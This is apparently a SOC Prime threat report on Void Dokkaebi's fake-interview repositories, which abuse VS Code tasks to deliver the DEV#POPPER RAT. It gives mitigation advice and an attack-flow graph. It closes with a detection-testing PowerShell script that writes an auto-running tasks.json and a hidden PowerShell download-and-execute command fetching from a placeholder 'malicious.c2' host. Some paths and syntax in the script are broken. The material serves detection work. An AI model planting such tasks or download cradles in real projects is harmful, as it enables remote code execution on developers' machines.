Fake Interview Lures Used by Void Dokkaebi to Spread Malware Through Git Repositories

SOC Prime Team

Fake Interview Lures Used by Void Dokkaebi to Spread Malware Through Git Repositories

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

Void Dokkaebi, a North Korea-linked threat group, is using fake job interview offers to lure developers into cloning malicious repositories. Once opened, these repositories abuse injected VS Code tasks and obfuscated JavaScript to turn trusted code projects into automated malware delivery channels. Infected repositories can then help spread the compromise further across developer environments and connected ecosystems.

Investigation

Trend Micro uncovered more than 750 infected public repositories, over 500 malicious VS Code task configurations, and 101 cases involving a custom batch script designed to tamper with commits. Analysis showed that the malicious code fetched payloads through blockchain-based services and ultimately delivered a DEV#POPPER RAT variant. That malware then communicated with attacker infrastructure through both WebSocket and HTTP-based channels.

Mitigation

Recommended defenses include isolating code received through interview processes, adding .vscode/ to .gitignore, enforcing signed commits and branch protection, and auditing repositories for known infection markers. Security teams should also monitor blockchain API traffic for suspicious behavior and block access to the identified command-and-control URLs. Developers should treat VS Code workspace trust prompts as a meaningful security checkpoint, not a routine click-through action.

Response

If infection is suspected, isolate the affected workstation immediately, revoke any exposed credentials, remove malicious .vscode task files and injected JavaScript, and perform a full review of the impacted repository. Network defenses should also be updated to detect the known command-and-control patterns and block outbound communication to the identified blockchain endpoints.

"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["Stage – Initial Access Attacker lures developer with fake interview and malicious Git repository"] class stage_initial stage tech_user_exec["Technique – T1204 User Execution Victim executes malicious content such as a link or copied code"] class tech_user_exec technique tech_malicious_link["Technique – T1204.001 Malicious Link Link directs victim to malicious repository"] class tech_malicious_link technique tech_malicious_copy["Technique – T1204.004 Malicious Copy and Paste Developer copies code from the malicious repository"] class tech_malicious_copy technique stage_repo_harvest["Stage – Repository Harvest Cloned repository gives access to source code and potential credentials"] class stage_repo_harvest stage tech_code_repo["Technique – T1213.003 Data from Information Repositories: Code Repositories Adversary extracts data from code repositories"] class tech_code_repo technique stage_execution_vs["Stage – Execution via VS Code .vscode/tasks.json runs downloader automatically on folder open"] class stage_execution_vs stage tech_trusted_ide["Technique – T1127 Trusted Developer Utilities Proxy Execution Abuse of trusted IDE extensions to execute code"] class tech_trusted_ide technique tech_ide_ext["Technique – T1176.002 Software Extensions: IDE Extensions Malicious tasks.json triggers execution"] class tech_ide_ext technique file_tasks_json["File – .vscode/tasks.json Configured with runOn folderOpen to launch downloader"] class file_tasks_json file stage_payload_retrieval["Stage – Payload Retrieval Downloader fetches payloads from blockchain RPC endpoints"] class stage_payload_retrieval stage tech_resource_hijack["Technique – T1496 Resource Hijacking Utilizes blockchain infrastructure for payload delivery"] class tech_resource_hijack technique tech_obfuscation["Technique – T1027.007 Obfuscated Files or Information: Dynamic API Resolution Code hides API endpoints and resolves them at runtime"] class tech_obfuscation technique indicator_blockchain["Indicator – Outbound blockchain RPC connections Calls to api.trongrid.io aptoslabs.com and BSC RPC"] class indicator_blockchain indicator stage_module_hijack["Stage – Module Hijacking Hidden .node_modules directory placed to preload malicious Node modules"] class stage_module_hijack stage tech_shared_modules["Technique – T1129 Shared Modules Malicious module loaded before legitimate ones"] class tech_shared_modules technique file_node_modules["File – .node_modules directory Contains hijacked module"] class file_node_modules file stage_rat_deployment["Stage – RAT Deployment DEV#POPPER RAT variant establishes WebSocket C2 and exfiltrates data"] class stage_rat_deployment stage malware_devpopper["Malware – DEV#POPPER RAT WebSocket C2, file exfiltration, avoids CI/CD pipelines"] class malware_devpopper malware indicator_c2["Indicator – WebSocket C2 URLs"] class indicator_c2 indicator stage_persistence["Stage – Persistence and Commit Tampering Injected malicious JavaScript in config files and batch script amends commits"] class stage_persistence stage tech_timestomp["Technique – T1070.006 Indicator Removal: Timestomp Alters system clock to backdate commits"] class tech_timestomp technique file_postcss["File – postcss.config.mjs Obfuscated JavaScript injected"] class file_postcss file file_batch["File – temp_auto_push.bat Automates commit amendment and forceu2011push"] class file_batch file stage_propagation["Stage – Propagation Malicious .vscode folder and code committed, downstream developers inherit infection"] class stage_propagation stage tech_propagation["Technique – T1127 Trusted Developer Utilities Proxy Execution Repeated IDE abuse across cloned repositories"] class tech_propagation technique tech_repo_spread["Technique – T1213.003 Data from Information Repositories Malicious code spreads via repository sharing"] class tech_repo_spread technique indicator_detection["Indicator – Detection IOCs Blockchain RPC, WebSocket C2, /verify-human/ and /u/f HTTP paths"] class indicator_detection indicator %% Connections stage_initial –>|uses| tech_user_exec tech_user_exec –>|includes| tech_malicious_link tech_user_exec –>|includes| tech_malicious_copy tech_malicious_link –>|delivers| stage_repo_harvest tech_malicious_copy –>|delivers| stage_repo_harvest stage_repo_harvest –>|exploits| tech_code_repo stage_repo_harvest –>|leads to| stage_execution_vs stage_execution_vs –>|uses| tech_trusted_ide stage_execution_vs –>|uses| tech_ide_ext stage_execution_vs –>|executes| file_tasks_json stage_execution_vs –>|triggers| stage_payload_retrieval stage_payload_retrieval –>|uses| tech_resource_hijack stage_payload_retrieval –>|uses| tech_obfuscation stage_payload_retrieval –>|creates| indicator_blockchain stage_payload_retrieval –>|leads to| stage_module_hijack stage_module_hijack –>|uses| tech_shared_modules stage_module_hijack –>|contains| file_node_modules stage_module_hijack –>|leads to| stage_rat_deployment stage_rat_deployment –>|deploys| malware_devpopper malware_devpopper –>|communicates with| indicator_c2 stage_rat_deployment –>|prepares for| stage_persistence stage_persistence –>|uses| tech_timestomp stage_persistence –>|modifies| file_postcss stage_persistence –>|runs| file_batch stage_persistence –>|enables| stage_propagation stage_propagation –>|uses| tech_propagation stage_propagation –>|uses| tech_repo_spread stage_propagation –>|produces| indicator_detection "

Attack Flow

Attack Narrative & Commands:
An attacker who has convinced a developer to clone a malicious repository drops a covert VS Code tasks.json into the project’s .vscode folder. The task references a temp_auto_push.bat script located in the system’s temporary directory. The batch file is generated on‑the‑fly from an obfuscated JavaScript snippet that embeds the markers global['!'] and global['_V']. When the developer opens the folder in VS Code, the task auto‑runs, executing the batch file, which ultimately reaches out to a C2 server. This chain fulfills T1053.007 (VS Code task), T1127.003 (persistent shortcut via batch), and T1027.007 (obfuscation).

The steps are:
1. Place malicious tasks.json with the required strings.
2. Create the obfuscated JavaScript that, when evaluated, writes temp_auto_push.bat containing the malicious command.
3. Trigger VS Code task execution (simulated by invoking the task via code --folder-uri CLI).

Regression Test Script:

# -------------------------------------------------
# Void Dokkaebi VS Code Task & Obfuscated JS Simulation
# -------------------------------------------------
$vscodeDir = "$env:USERPROFILE.vscode"
$taskFile  = Join-Path $vscodeDir "tasks.json"
$tempBat   = "$env:TEMPtemp_auto_push.bat"
$jsPayload = @"
(function(){
var g = global;
g['!'] = true;    // marker for detection
g['_V'] = 'payload';
var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
var fso = new ActiveXObject('Scripting.FileSystemObject');
var file = fso.CreateTextFile('$tempBat', true);
file.WriteLine(cmd);
file.Close();
})();
"@

# 1. Ensure .vscode folder exists
New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null

# 2. Write malicious tasks.json
@"
{
"version": "2.0.0",
"tasks": [
{
  "label": "AutoPush",
  "type": "shell",
  "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
}
]
}
"@ | Set-Content -Path $taskFile -Encoding UTF8

# 3. (Optional) Directly invoke the task to mimic VS Code auto‑run
# Note: In a real environment VS Code would parse and run this task.
Write-Host "Malicious VS Code task deployed. Triggering via simulated run..."
cscript //nologo //E:jscript //B - <<'JS'
$jsPayload
JS

Write-Host "Simulation complete. Check SIEM for alert."

Cleanup Commands:

# Remove malicious artifacts
Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
# Optionally clear the .vscode directory if it was created solely for the test
if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
    Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
}
Write-Host "Cleanup completed."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free